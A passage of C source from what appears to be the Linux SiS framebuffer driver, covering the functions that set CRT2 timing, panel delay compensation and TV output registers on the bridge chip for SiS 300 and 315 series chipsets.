SiS_SetReg(SiS_Pr->SiS_Part1Port,0x40,0x10); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x41,0x25); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x42,0x80); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x43,0x14); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x44,0x03); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x45,0x0a); } } #endif /* CONFIG_FB_SIS_315 */ } /* Set Part 1 */ static void SiS_SetGroup1(struct SiS_Private *SiS_Pr, unsigned short ModeNo, unsigned short ModeIdIndex, unsigned short RefreshRateTableIndex) { #if defined(CONFIG_FB_SIS_300) || defined(CONFIG_FB_SIS_315) unsigned char *ROMAddr = SiS_Pr->VirtualRomBase; #endif unsigned short temp=0, tempax=0, tempbx=0, tempcx=0, bridgeadd=0; unsigned short pushbx=0, CRT1Index=0, modeflag, resinfo=0; #ifdef CONFIG_FB_SIS_315 unsigned short tempbl=0; #endif if(SiS_Pr->SiS_VBInfo & SetCRT2ToLCDA) { SiS_SetGroup1_LVDS(SiS_Pr, ModeNo, ModeIdIndex, RefreshRateTableIndex); return; } if(ModeNo <= 0x13) { modeflag = SiS_Pr->SiS_SModeIDTable[ModeIdIndex].St_ModeFlag; } else if(SiS_Pr->UseCustomMode) { modeflag = SiS_Pr->CModeFlag; } else { CRT1Index = SiS_GetRefCRT1CRTC(SiS_Pr, RefreshRateTableIndex, SiS_Pr->SiS_UseWideCRT2); resinfo = SiS_Pr->SiS_EModeIDTable[ModeIdIndex].Ext_RESINFO; modeflag = SiS_Pr->SiS_EModeIDTable[ModeIdIndex].Ext_ModeFlag; } SiS_SetCRT2Offset(SiS_Pr, ModeNo, ModeIdIndex, RefreshRateTableIndex); if( ! ((SiS_Pr->ChipType >= SIS_315H) && (SiS_Pr->SiS_IF_DEF_LVDS == 1) && (SiS_Pr->SiS_VBInfo & SetInSlaveMode)) ) { if(SiS_Pr->ChipType < SIS_315H ) { #ifdef CONFIG_FB_SIS_300 SiS_SetCRT2FIFO_300(SiS_Pr, ModeNo); #endif } else { #ifdef CONFIG_FB_SIS_315 SiS_SetCRT2FIFO_310(SiS_Pr); #endif } /* 1. Horizontal setup */ if(SiS_Pr->ChipType < SIS_315H ) { #ifdef CONFIG_FB_SIS_300 /* ------------- 300 series --------------*/ temp = (SiS_Pr->SiS_VGAHT - 1) & 0x0FF; /* BTVGA2HT 0x08,0x09 */ SiS_SetReg(SiS_Pr->SiS_Part1Port,0x08,temp); /* CRT2 Horizontal Total */ temp = (((SiS_Pr->SiS_VGAHT - 1) & 0xFF00) >> 8) << 4; SiS_SetRegANDOR(SiS_Pr->SiS_Part1Port,0x09,0x0f,temp); /* CRT2 Horizontal Total Overflow [7:4] */ temp = (SiS_Pr->SiS_VGAHDE + 12) & 0x0FF; /* BTVGA2HDEE 0x0A,0x0C */ SiS_SetReg(SiS_Pr->SiS_Part1Port,0x0A,temp); /* CRT2 Horizontal Display Enable End */ pushbx = SiS_Pr->SiS_VGAHDE + 12; /* bx BTVGA2HRS 0x0B,0x0C */ tempcx = (SiS_Pr->SiS_VGAHT - SiS_Pr->SiS_VGAHDE) >> 2; tempbx = pushbx + tempcx; tempcx <<= 1; tempcx += tempbx; bridgeadd = 12; #endif /* CONFIG_FB_SIS_300 */ } else { #ifdef CONFIG_FB_SIS_315 /* ------------------- 315/330 series --------------- */ tempcx = SiS_Pr->SiS_VGAHT; /* BTVGA2HT 0x08,0x09 */ if(modeflag & HalfDCLK) { if(SiS_Pr->SiS_VBType & VB_SISVB) { tempcx >>= 1; } else { tempax = SiS_Pr->SiS_VGAHDE >> 1; tempcx = SiS_Pr->SiS_HT - SiS_Pr->SiS_HDE + tempax; if(SiS_Pr->SiS_LCDInfo & DontExpandLCD) { tempcx = SiS_Pr->SiS_HT - tempax; } } } tempcx--; SiS_SetReg(SiS_Pr->SiS_Part1Port,0x08,tempcx); /* CRT2 Horizontal Total */ temp = (tempcx >> 4) & 0xF0; SiS_SetRegANDOR(SiS_Pr->SiS_Part1Port,0x09,0x0F,temp); /* CRT2 Horizontal Total Overflow [7:4] */ tempcx = SiS_Pr->SiS_VGAHT; /* BTVGA2HDEE 0x0A,0x0C */ tempbx = SiS_Pr->SiS_VGAHDE; tempcx -= tempbx; tempcx >>= 2; if(modeflag & HalfDCLK) { tempbx >>= 1; tempcx >>= 1; } tempbx += 16; SiS_SetReg(SiS_Pr->SiS_Part1Port,0x0A,tempbx); /* CRT2 Horizontal Display Enable End */ pushbx = tempbx; tempcx >>= 1; tempbx += tempcx; tempcx += tempbx; bridgeadd = 16; if(SiS_Pr->SiS_VBType & VB_SISVB) { if(SiS_Pr->ChipType >= SIS_661) { if((SiS_Pr->SiS_LCDResInfo == Panel_1600x1200) || (SiS_Pr->SiS_LCDResInfo == Panel_1280x1024)) { if(resinfo == SIS_RI_1280x1024) { tempcx = (tempcx & 0xff00) | 0x30; } else if(resinfo == SIS_RI_1600x1200) { tempcx = (tempcx & 0xff00) | 0xff; } } } } #endif /* CONFIG_FB_SIS_315 */ } /* 315/330 series */ if(SiS_Pr->SiS_VBType & VB_SISVB) { if(SiS_Pr->UseCustomMode) { tempbx = SiS_Pr->CHSyncStart + bridgeadd; tempcx = SiS_Pr->CHSyncEnd + bridgeadd; tempax = SiS_Pr->SiS_VGAHT; if(modeflag & HalfDCLK) tempax >>= 1; tempax--; if(tempcx > tempax) tempcx = tempax; } if(SiS_Pr->SiS_VBInfo & SetCRT2ToRAMDAC) { unsigned char cr4, cr14, cr5, cr15; if(SiS_Pr->UseCustomMode) { cr4 = SiS_Pr->CCRT1CRTC[4]; cr14 = SiS_Pr->CCRT1CRTC[14]; cr5 = SiS_Pr->CCRT1CRTC[5]; cr15 = SiS_Pr->CCRT1CRTC[15]; } else { cr4 = SiS_Pr->SiS_CRT1Table[CRT1Index].CR[4]; cr14 = SiS_Pr->SiS_CRT1Table[CRT1Index].CR[14]; cr5 = SiS_Pr->SiS_CRT1Table[CRT1Index].CR[5]; cr15 = SiS_Pr->SiS_CRT1Table[CRT1Index].CR[15]; } tempbx = ((cr4 | ((cr14 & 0xC0) << 2)) - 3) << 3; /* (VGAHRS-3)*8 */ tempcx = (((cr5 & 0x1f) | ((cr15 & 0x04) << (5-2))) - 3) << 3; /* (VGAHRE-3)*8 */ tempcx &= 0x00FF; tempcx |= (tempbx & 0xFF00); tempbx += bridgeadd; tempcx += bridgeadd; tempax = SiS_Pr->SiS_VGAHT; if(modeflag & HalfDCLK) tempax >>= 1; tempax--; if(tempcx > tempax) tempcx = tempax; } if(SiS_Pr->SiS_TVMode & (TVSetNTSC1024 | TVSet525p1024)) { tempbx = 1040; tempcx = 1044; /* HWCursor bug! */ } } SiS_SetReg(SiS_Pr->SiS_Part1Port,0x0B,tempbx); /* CRT2 Horizontal Retrace Start */ SiS_SetReg(SiS_Pr->SiS_Part1Port,0x0D,tempcx); /* CRT2 Horizontal Retrace End */ temp = ((tempbx >> 8) & 0x0F) | ((pushbx >> 4) & 0xF0); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x0C,temp); /* Overflow */ /* 2. Vertical setup */ tempcx = SiS_Pr->SiS_VGAVT - 1; temp = tempcx & 0x00FF; if(SiS_Pr->ChipType < SIS_661) { if(SiS_Pr->SiS_IF_DEF_LVDS == 1) { if(SiS_Pr->ChipType < SIS_315H) { if(SiS_Pr->SiS_IF_DEF_CH70xx != 0) { if(SiS_Pr->SiS_VBInfo & (SetCRT2ToSVIDEO | SetCRT2ToAVIDEO)) { temp--; } } } else { temp--; } } else if(SiS_Pr->ChipType >= SIS_315H) { temp--; } } SiS_SetReg(SiS_Pr->SiS_Part1Port,0x0E,temp); /* CRT2 Vertical Total */ tempbx = SiS_Pr->SiS_VGAVDE - 1; SiS_SetReg(SiS_Pr->SiS_Part1Port,0x0F,tempbx); /* CRT2 Vertical Display Enable End */ temp = ((tempbx >> 5) & 0x38) | ((tempcx >> 8) & 0x07); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x12,temp); /* Overflow */ if((SiS_Pr->ChipType >= SIS_315H) && (SiS_Pr->ChipType < SIS_661)) { tempbx++; tempax = tempbx; tempcx++; tempcx -= tempax; tempcx >>= 2; tempbx += tempcx; if(tempcx < 4) tempcx = 4; tempcx >>= 2; tempcx += tempbx; tempcx++; } else { tempbx = (SiS_Pr->SiS_VGAVT + SiS_Pr->SiS_VGAVDE) >> 1; /* BTVGA2VRS 0x10,0x11 */ tempcx = ((SiS_Pr->SiS_VGAVT - SiS_Pr->SiS_VGAVDE) >> 4) + tempbx + 1; /* BTVGA2VRE 0x11 */ } if(SiS_Pr->SiS_VBType & VB_SISVB) { if(SiS_Pr->UseCustomMode) { tempbx = SiS_Pr->CVSyncStart; tempcx = SiS_Pr->CVSyncEnd; } if(SiS_Pr->SiS_VBInfo & SetCRT2ToRAMDAC) { unsigned char cr8, cr7, cr13; if(SiS_Pr->UseCustomMode) { cr8 = SiS_Pr->CCRT1CRTC[8]; cr7 = SiS_Pr->CCRT1CRTC[7]; cr13 = SiS_Pr->CCRT1CRTC[13]; tempcx = SiS_Pr->CCRT1CRTC[9]; } else { cr8 = SiS_Pr->SiS_CRT1Table[CRT1Index].CR[8]; cr7 = SiS_Pr->SiS_CRT1Table[CRT1Index].CR[7]; cr13 = SiS_Pr->SiS_CRT1Table[CRT1Index].CR[13]; tempcx = SiS_Pr->SiS_CRT1Table[CRT1Index].CR[9]; } tempbx = cr8; if(cr7 & 0x04) tempbx |= 0x0100; if(cr7 & 0x80) tempbx |= 0x0200; if(cr13 & 0x08) tempbx |= 0x0400; } } SiS_SetReg(SiS_Pr->SiS_Part1Port,0x10,tempbx); /* CRT2 Vertical Retrace Start */ temp = ((tempbx >> 4) & 0x70) | (tempcx & 0x0F); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x11,temp); /* CRT2 Vert. Retrace End; Overflow */ /* 3. Panel delay compensation */ if(SiS_Pr->ChipType < SIS_315H) { #ifdef CONFIG_FB_SIS_300 /* ---------- 300 series -------------- */ if(SiS_Pr->SiS_VBType & VB_SISVB) { temp = 0x20; if(SiS_Pr->ChipType == SIS_300) { temp = 0x10; if(SiS_Pr->SiS_LCDResInfo == Panel_1024x768) temp = 0x2c; if(SiS_Pr->SiS_LCDResInfo == Panel_1280x1024) temp = 0x20; } if(SiS_Pr->SiS_VBType & VB_SIS301) { if(SiS_Pr->SiS_LCDResInfo == Panel_1280x1024) temp = 0x20; } if(SiS_Pr->SiS_LCDResInfo == Panel_1280x960) temp = 0x24; if(SiS_Pr->SiS_LCDResInfo == Panel_Custom) temp = 0x2c; if(SiS_Pr->SiS_VBInfo & SetCRT2ToTV) temp = 0x08; if(SiS_Pr->SiS_VBInfo & SetCRT2ToHiVision) { if(SiS_Pr->SiS_VBInfo & SetInSlaveMode) temp = 0x2c; else temp = 0x20; } if(SiS_Pr->SiS_UseROM) { if(ROMAddr[0x220] & 0x80) { if(SiS_Pr->SiS_VBInfo & SetCRT2ToTVNoYPbPrHiVision) temp = ROMAddr[0x221]; else if(SiS_Pr->SiS_VBInfo & SetCRT2ToHiVision) temp = ROMAddr[0x222]; else if(SiS_Pr->SiS_LCDResInfo == Panel_1280x1024) temp = ROMAddr[0x223]; else temp = ROMAddr[0x224]; } } if(SiS_Pr->SiS_VBInfo & SetCRT2ToLCD) { if(SiS_Pr->PDC != -1) temp = SiS_Pr->PDC; } } else { temp = 0x20; if(!(SiS_Pr->SiS_VBInfo & SetCRT2ToTV)) { if(SiS_Pr->SiS_LCDResInfo == Panel_640x480) temp = 0x04; } if(SiS_Pr->SiS_UseROM) { if(ROMAddr[0x220] & 0x80) { temp = ROMAddr[0x220]; } } if(SiS_Pr->SiS_VBInfo & SetCRT2ToLCD) { if(SiS_Pr->PDC != -1) temp = SiS_Pr->PDC; } } temp &= 0x3c; SiS_SetRegANDOR(SiS_Pr->SiS_Part1Port,0x13,~0x3C,temp); /* Panel Link Delay Compensation; (Software Command Reset; Power Saving) */ #endif /* CONFIG_FB_SIS_300 */ } else { #ifdef CONFIG_FB_SIS_315 /* --------------- 315/330 series ---------------*/ if(SiS_Pr->ChipType < SIS_661) { if(SiS_Pr->SiS_IF_DEF_LVDS == 1) { if(SiS_Pr->ChipType == SIS_740) temp = 0x03; else temp = 0x00; if(SiS_Pr->SiS_VBInfo & SetCRT2ToTV) temp = 0x0a; tempbl = 0xF0; if(SiS_Pr->ChipType == SIS_650) { if(SiS_Pr->SiS_IF_DEF_CH70xx != 0) { if(!(SiS_Pr->SiS_VBInfo & SetCRT2ToTV)) tempbl = 0x0F; } } if(SiS_Pr->SiS_IF_DEF_DSTN || SiS_Pr->SiS_IF_DEF_FSTN) { temp = 0x08; tempbl = 0; if((SiS_Pr->SiS_UseROM) && (!(SiS_Pr->SiS_ROMNew))) { if(ROMAddr[0x13c] & 0x80) tempbl = 0xf0; } } SiS_SetRegANDOR(SiS_Pr->SiS_Part1Port,0x2D,tempbl,temp); /* Panel Link Delay Compensation */ } } /* < 661 */ tempax = 0; if(modeflag & DoubleScanMode) tempax |= 0x80; if(modeflag & HalfDCLK) tempax |= 0x40; SiS_SetRegANDOR(SiS_Pr->SiS_Part1Port,0x2C,0x3f,tempax); #endif /* CONFIG_FB_SIS_315 */ } } /* Slavemode */ if(SiS_Pr->SiS_VBType & VB_SISVB) { if((SiS_Pr->SiS_VBType & VB_NoLCD) && (SiS_Pr->SiS_VBInfo & SetCRT2ToLCD)) { /* For 301BDH with LCD, we set up the Panel Link */ SiS_SetGroup1_LVDS(SiS_Pr, ModeNo, ModeIdIndex, RefreshRateTableIndex); } else if(SiS_Pr->SiS_VBInfo & SetInSlaveMode) { SiS_SetGroup1_301(SiS_Pr, ModeNo, ModeIdIndex, RefreshRateTableIndex); } } else { if(SiS_Pr->ChipType < SIS_315H) { SiS_SetGroup1_LVDS(SiS_Pr, ModeNo, ModeIdIndex, RefreshRateTableIndex); } else { if(SiS_Pr->SiS_IF_DEF_CH70xx != 0) { if((!(SiS_Pr->SiS_VBInfo & SetCRT2ToTV)) || (SiS_Pr->SiS_VBInfo & SetInSlaveMode)) { SiS_SetGroup1_LVDS(SiS_Pr, ModeNo,ModeIdIndex,RefreshRateTableIndex); } } else { SiS_SetGroup1_LVDS(SiS_Pr, ModeNo,ModeIdIndex,RefreshRateTableIndex); } } } } /*********************************************/ /* SET PART 2 REGISTER GROUP */ /*********************************************/ #ifdef CONFIG_FB_SIS_315 static unsigned char * SiS_GetGroup2CLVXPtr(struct SiS_Private *SiS_Pr, int tabletype) { const unsigned char *tableptr = NULL; unsigned short a, b, p = 0; a = SiS_Pr->SiS_VGAHDE; b = SiS_Pr->SiS_HDE; if(tabletype) { a = SiS_Pr->SiS_VGAVDE; b = SiS_Pr->SiS_VDE; } if(a < b) { tableptr = SiS_Part2CLVX_1; } else if(a == b) { tableptr = SiS_Part2CLVX_2; } else { if(SiS_Pr->SiS_TVMode & TVSetPAL) { tableptr = SiS_Part2CLVX_4; } else { tableptr = SiS_Part2CLVX_3; } if(SiS_Pr->SiS_VBInfo & SetCRT2ToYPbPr525750) { if(SiS_Pr->SiS_TVMode & TVSetYPbPr525i) tableptr = SiS_Part2CLVX_3; else if(SiS_Pr->SiS_TVMode & TVSetYPbPr525p) tableptr = SiS_Part2CLVX_3; else tableptr = SiS_Part2CLVX_5; } else if(SiS_Pr->SiS_VBInfo & SetCRT2ToHiVision) { tableptr = SiS_Part2CLVX_6; } do { if((tableptr[p] | tableptr[p+1] << 8) == a) break; p += 0x42; } while((tableptr[p] | tableptr[p+1] << 8) != 0xffff); if((tableptr[p] | tableptr[p+1] << 8) == 0xffff) p -= 0x42; } p += 2; return ((unsigned char *)&tableptr[p]); } static void SiS_SetGroup2_C_ELV(struct SiS_Private *SiS_Pr, unsigned short ModeNo, unsigned short ModeIdIndex, unsigned short RefreshRateTableIndex) { unsigned char *tableptr; unsigned char temp; int i, j; if(!(SiS_Pr->SiS_VBType & VB_SISTAP4SCALER)) return; tableptr = SiS_GetGroup2CLVXPtr(SiS_Pr, 0); for(i = 0x80, j = 0; i <= 0xbf; i++, j++) { SiS_SetReg(SiS_Pr->SiS_Part2Port, i, tableptr[j]); } if(SiS_Pr->SiS_VBInfo & SetCRT2ToTV) { tableptr = SiS_GetGroup2CLVXPtr(SiS_Pr, 1); for(i = 0xc0, j = 0; i <= 0xff; i++, j++) { SiS_SetReg(SiS_Pr->SiS_Part2Port, i, tableptr[j]); } } temp = 0x10; if(SiS_Pr->SiS_VBInfo & SetCRT2ToTV) temp |= 0x04; SiS_SetRegANDOR(SiS_Pr->SiS_Part2Port,0x4e,0xeb,temp); } static bool SiS_GetCRT2Part2Ptr(struct SiS_Private *SiS_Pr,unsigned short ModeNo,unsigned short ModeIdIndex, unsigned short RefreshRateTableIndex,unsigned short *CRT2Index, unsigned short *ResIndex) { if(SiS_Pr->ChipType < SIS_315H) return false; if(ModeNo <= 0x13) (*ResIndex) = SiS_Pr->SiS_SModeIDTable[ModeIdIndex].St_CRT2CRTC; else (*ResIndex) = SiS_Pr->SiS_RefIndex[RefreshRateTableIndex].Ext_CRT2CRTC; (*ResIndex) &= 0x3f; (*CRT2Index) = 0; if(SiS_Pr->SiS_LCDResInfo == Panel_1024x768) { if(!(SiS_Pr->SiS_SetFlag & LCDVESATiming)) { (*CRT2Index) = 200; } } if(SiS_Pr->SiS_CustomT == CUT_ASUSA2H_2) { if(SiS_Pr->SiS_LCDResInfo == Panel_1024x768) { if(SiS_Pr->SiS_SetFlag & LCDVESATiming) (*CRT2Index) = 206; } } return (((*CRT2Index) != 0)); } #endif #ifdef CONFIG_FB_SIS_300 static void SiS_Group2LCDSpecial(struct SiS_Private *SiS_Pr, unsigned short ModeNo, unsigned short crt2crtc) { unsigned short tempcx; static const unsigned char atable[] = { 0xc3,0x9e,0xc3,0x9e,0x02,0x02,0x02, 0xab,0x87,0xab,0x9e,0xe7,0x02,0x02 }; if(!SiS_Pr->UseCustomMode) { if( ( ( (SiS_Pr->ChipType == SIS_630) || (SiS_Pr->ChipType == SIS_730) ) && (SiS_Pr->ChipRevision > 2) ) && (SiS_Pr->SiS_LCDResInfo == Panel_1024x768) && (!(SiS_Pr->SiS_SetFlag & LCDVESATiming)) && (!(SiS_Pr->SiS_LCDInfo & DontExpandLCD)) ) { if(ModeNo == 0x13) { SiS_SetReg(SiS_Pr->SiS_Part2Port,0x04,0xB9); SiS_SetReg(SiS_Pr->SiS_Part2Port,0x05,0xCC); SiS_SetReg(SiS_Pr->SiS_Part2Port,0x06,0xA6); } else if((crt2crtc & 0x3F) == 4) { SiS_SetReg(SiS_Pr->SiS_Part2Port,0x01,0x2B); SiS_SetReg(SiS_Pr->SiS_Part2Port,0x02,0x13); SiS_SetReg(SiS_Pr->SiS_Part2Port,0x04,0xE5); SiS_SetReg(SiS_Pr->SiS_Part2Port,0x05,0x08); SiS_SetReg(SiS_Pr->SiS_Part2Port,0x06,0xE2); } } if(SiS_Pr->ChipType < SIS_315H) { if(SiS_Pr->SiS_LCDTypeInfo == 0x0c) { crt2crtc &= 0x1f; tempcx = 0; if(!(SiS_Pr->SiS_VBInfo & SetNotSimuMode)) { if(SiS_Pr->SiS_VBInfo & SetInSlaveMode) { tempcx += 7; } } tempcx += crt2crtc; if(crt2crtc >= 4) { SiS_SetReg(SiS_Pr->SiS_Part2Port,0x06,0xff); } if(!(SiS_Pr->SiS_VBInfo & SetNotSimuMode)) { if(SiS_Pr->SiS_VBInfo & SetInSlaveMode) { if(crt2crtc == 4) { SiS_SetReg(SiS_Pr->SiS_Part2Port,0x01,0x28); } } } SiS_SetReg(SiS_Pr->SiS_Part2Port,0x02,0x18); SiS_SetReg(SiS_Pr->SiS_Part2Port,0x04,atable[tempcx]); } } } } /* For ECS A907. Highly preliminary. */ static void SiS_Set300Part2Regs(struct SiS_Private *SiS_Pr, unsigned short ModeIdIndex, unsigned short RefreshRateTableIndex, unsigned short ModeNo) { const struct SiS_Part2PortTbl *CRT2Part2Ptr = NULL; unsigned short crt2crtc, resindex; int i, j; if(SiS_Pr->ChipType != SIS_300) return; if(!(SiS_Pr->SiS_VBType & VB_SIS30xBLV)) return; if(SiS_Pr->UseCustomMode) return; if(ModeNo <= 0x13) { crt2crtc = SiS_Pr->SiS_SModeIDTable[ModeIdIndex].St_CRT2CRTC; } else { crt2crtc = SiS_Pr->SiS_RefIndex[RefreshRateTableIndex].Ext_CRT2CRTC; } resindex = crt2crtc & 0x3F; if(SiS_Pr->SiS_SetFlag & LCDVESATiming) CRT2Part2Ptr = SiS_Pr->SiS_CRT2Part2_1024x768_1; else CRT2Part2Ptr = SiS_Pr->SiS_CRT2Part2_1024x768_2; /* The BIOS code (1.16.51,56) is obviously a fragment! */ if(ModeNo > 0x13) { CRT2Part2Ptr = SiS_Pr->SiS_CRT2Part2_1024x768_1; resindex = 4; } SiS_SetRegANDOR(SiS_Pr->SiS_Part2Port,0x01,0x80,(CRT2Part2Ptr+resindex)->CR[0]); SiS_SetRegANDOR(SiS_Pr->SiS_Part2Port,0x02,0x80,(CRT2Part2Ptr+resindex)->CR[1]); for(i = 2, j = 0x04; j <= 0x06; i++, j++ ) { SiS_SetReg(SiS_Pr->SiS_Part2Port,j,(CRT2Part2Ptr+resindex)->CR[i]); } for(j = 0x1c; j <= 0x1d; i++, j++ ) { SiS_SetReg(SiS_Pr->SiS_Part2Port,j,(CRT2Part2Ptr+resindex)->CR[i]); } for(j = 0x1f; j <= 0x21; i++, j++ ) { SiS_SetReg(SiS_Pr->SiS_Part2Port,j,(CRT2Part2Ptr+resindex)->CR[i]); } SiS_SetReg(SiS_Pr->SiS_Part2Port,0x23,(CRT2Part2Ptr+resindex)->CR[10]); SiS_SetRegANDOR(SiS_Pr->SiS_Part2Port,0x25,0x0f,(CRT2Part2Ptr+resindex)->CR[11]); } #endif static void SiS_SetTVSpecial(struct SiS_Private *SiS_Pr, unsigned short ModeNo) { if(!(SiS_Pr->SiS_VBType & VB_SIS30xBLV)) return; if(!(SiS_Pr->SiS_VBInfo & SetCRT2ToTVNoHiVision)) return; if(SiS_Pr->SiS_TVMode & (TVSetYPbPr525p | TVSetYPbPr750p)) return; if(!(SiS_Pr->SiS_TVMode & TVSetPAL)) { if(SiS_Pr->SiS_TVMode & TVSetNTSC1024) { const unsigned char specialtv[] = { 0xa7,0x07,0xf2,0x6e,0x17,0x8b,0x73,0x53, 0x13,0x40,0x34,0xf4,0x63,0xbb,0xcc,0x7a, 0x58,0xe4,0x73,0xda,0x13 }; int i, j; for(i = 0x1c, j = 0; i <= 0x30; i++, j++) { SiS_SetReg(SiS_Pr->SiS_Part2Port,i,specialtv[j]); } SiS_SetReg(SiS_Pr->SiS_Part2Port,0x43,0x72); if(!(SiS_Pr->SiS_VBInfo & SetCRT2ToYPbPr525750)) { if(SiS_Pr->SiS_TVMode & TVSetPALM) { SiS_SetReg(SiS_Pr->SiS_Part2Port,0x01,0x14); SiS_SetReg(SiS_Pr->SiS_Part2Port,0x02,0x1b); } else { SiS_SetReg(SiS_Pr->SiS_Part2Port,0x01,0x14); /* 15 */ SiS_SetReg(SiS_Pr->SiS_Part2Port,0x02,0x1a); /* 1b */ } } } } else { if((ModeNo == 0x38) || (ModeNo == 0x4a) || (ModeNo == 0x64) || (ModeNo == 0x52) || (ModeNo == 0x58) || (ModeNo == 0x5c)) { SiS_SetReg(SiS_Pr->SiS_Part2Port,0x01,0x1b); /* 21 */ SiS_SetReg(SiS_Pr->SiS_Part2Port,0x02,0x54); /* 5a */ } else { SiS_SetReg(SiS_Pr->SiS_Part2Port,0x01,0x1a); /* 21 */ SiS_SetReg(SiS_Pr->SiS_Part2Port,0x02,0x53); /* 5a */ } } } static void SiS_SetGroup2_Tail(struct SiS_Private *SiS_Pr, unsigned short ModeNo) { unsigned short temp; if(!(SiS_Pr->SiS_SetFlag & LCDVESATiming)) { if(SiS_Pr->SiS_VGAVDE == 525) { temp = 0xc3; if(SiS_Pr->SiS_ModeType <= ModeVGA) { temp++; if(SiS_Pr->SiS_VBType & VB_SIS30xBLV) temp += 2; } SiS_SetReg(SiS_Pr->SiS_Part2Port,0x2f,temp); SiS_SetReg(SiS_Pr->SiS_Part2Port,0x30,0xb3); } else if(SiS_Pr->SiS_VGAVDE == 420) { temp = 0x4d; if(SiS_Pr->SiS_ModeType <= ModeVGA) { temp++; if(SiS_Pr->SiS_VBType & VB_SIS30xBLV) temp++; } SiS_SetReg(SiS_Pr->SiS_Part2Port,0x2f,temp); } } if(SiS_Pr->SiS_VBInfo & SetCRT2ToLCD) { if(SiS_Pr->SiS_LCDResInfo == Panel_1400x1050) { if(SiS_Pr->SiS_VBType & VB_SIS30xB) { SiS_SetRegOR(SiS_Pr->SiS_Part2Port,0x1a,0x03); /* Not always for LV, see SetGrp2 */ } temp = 1; if(ModeNo <= 0x13) temp = 3; SiS_SetReg(SiS_Pr->SiS_Part2Port,0x0b,temp); } #if 0 /* 651+301C, for 1280x768 - do I really need that? */ if((SiS_Pr->SiS_PanelXRes == 1280) && (SiS_Pr->SiS_PanelYRes == 768)) { if(SiS_Pr->SiS_VBInfo & SetSimuScanMode) { if(((SiS_Pr->SiS_HDE == 640) && (SiS_Pr->SiS_VDE == 480)) || ((SiS_Pr->SiS_HDE == 320) && (SiS_Pr->SiS_VDE == 240))) { SiS_SetReg(SiS_Part2Port,0x01,0x2b); SiS_SetReg(SiS_Part2Port,0x02,0x13); SiS_SetReg(SiS_Part2Port,0x04,0xe5); SiS_SetReg(SiS_Part2Port,0x05,0x08); SiS_SetReg(SiS_Part2Port,0x06,0xe2); SiS_SetReg(SiS_Part2Port,0x1c,0x21); SiS_SetReg(SiS_Part2Port,0x1d,0x45); SiS_SetReg(SiS_Part2Port,0x1f,0x0b); SiS_SetReg(SiS_Part2Port,0x20,0x00); SiS_SetReg(SiS_Part2Port,0x21,0xa9); SiS_SetReg(SiS_Part2Port,0x23,0x0b); SiS_SetReg(SiS_Part2Port,0x25,0x04); } } } #endif } } static void SiS_SetGroup2(struct SiS_Private *SiS_Pr, unsigned short ModeNo, unsigned short ModeIdIndex, unsigned short RefreshRateTableIndex) { unsigned short i, j, tempax, tempbx, tempcx, tempch, tempcl, temp; unsigned short push2, modeflag, crt2crtc, bridgeoffset; unsigned int longtemp, PhaseIndex; bool newtvphase; const unsigned char *TimingPoint; #ifdef CONFIG_FB_SIS_315 unsigned short resindex, CRT2Index; const struct SiS_Part2PortTbl *CRT2Part2Ptr = NULL; if(SiS_Pr->SiS_VBInfo & SetCRT2ToLCDA) return; #endif if(ModeNo <= 0x13) { modeflag = SiS_Pr->SiS_SModeIDTable[ModeIdIndex].St_ModeFlag; crt2crtc = SiS_Pr->SiS_SModeIDTable[ModeIdIndex].St_CRT2CRTC; } else if(SiS_Pr->UseCustomMode) { modeflag = SiS_Pr->CModeFlag; crt2crtc = 0; } else { modeflag = SiS_Pr->SiS_EModeIDTable[ModeIdIndex].Ext_ModeFlag; crt2crtc = SiS_Pr->SiS_RefIndex[RefreshRateTableIndex].Ext_CRT2CRTC; } temp = 0; if(!(SiS_Pr->SiS_VBInfo & SetCRT2ToAVIDEO)) temp |= 0x08; if(!(SiS_Pr->SiS_VBInfo & SetCRT2ToSVIDEO)) temp |= 0x04; if(SiS_Pr->SiS_VBInfo & SetCRT2ToSCART) temp |= 0x02; if(SiS_Pr->SiS_VBInfo & SetCRT2ToHiVision) temp |= 0x01; if(!(SiS_Pr->SiS_TVMode & TVSetPAL)) temp |= 0x10; SiS_SetReg(SiS_Pr->SiS_Part2Port,0x00,temp); PhaseIndex = 0x01; /* SiS_PALPhase */ TimingPoint = SiS_Pr->SiS_PALTiming; newtvphase = false; if( (SiS_Pr->SiS_VBType & VB_SIS30xBLV) && ( (!(SiS_Pr->SiS_VBInfo & SetInSlaveMode)) || (SiS_Pr->SiS_TVMode & TVSetTVSimuMode) ) ) { newtvphase = true; } if(SiS_Pr->SiS_VBInfo & SetCRT2ToHiVision) { TimingPoint = SiS_Pr->SiS_HiTVExtTiming; if(SiS_Pr->SiS_VBInfo & SetInSlaveMode) { TimingPoint = SiS_Pr->SiS_HiTVSt2Timing; if(SiS_Pr->SiS_TVMode & TVSetTVSimuMode) { TimingPoint = SiS_Pr->SiS_HiTVSt1Timing; } } } else if(SiS_Pr->SiS_VBInfo & SetCRT2ToYPbPr525750) { i = 0; if(SiS_Pr->SiS_TVMode & TVSetYPbPr750p) i = 2; else if(SiS_Pr->SiS_TVMode & TVSetYPbPr525p) i = 1; TimingPoint = &SiS_YPbPrTable[i][0]; PhaseIndex = 0x00; /* SiS_NTSCPhase */ } else if(SiS_Pr->SiS_TVMode & TVSetPAL) { if(newtvphase) PhaseIndex = 0x09; /* SiS_PALPhase2 */ } else { TimingPoint = SiS_Pr->SiS_NTSCTiming; PhaseIndex = (SiS_Pr->SiS_TVMode & TVSetNTSCJ) ? 0x01 : 0x00; /* SiS_PALPhase : SiS_NTSCPhase */ if(newtvphase) PhaseIndex += 8; /* SiS_PALPhase2 : SiS_NTSCPhase2 */ } if(SiS_Pr->SiS_TVMode & (TVSetPALM | TVSetPALN)) { PhaseIndex = (SiS_Pr->SiS_TVMode & TVSetPALM) ? 0x02 : 0x03; /* SiS_PALMPhase : SiS_PALNPhase */ if(newtvphase) PhaseIndex += 8; /* SiS_PALMPhase2 : SiS_PALNPhase2 */ } if(SiS_Pr->SiS_TVMode & TVSetNTSC1024) { if(SiS_Pr->SiS_TVMode & TVSetPALM) { PhaseIndex = 0x05; /* SiS_SpecialPhaseM */ } else if(SiS_Pr->SiS_TVMode & TVSetNTSCJ) { PhaseIndex = 0x11; /* 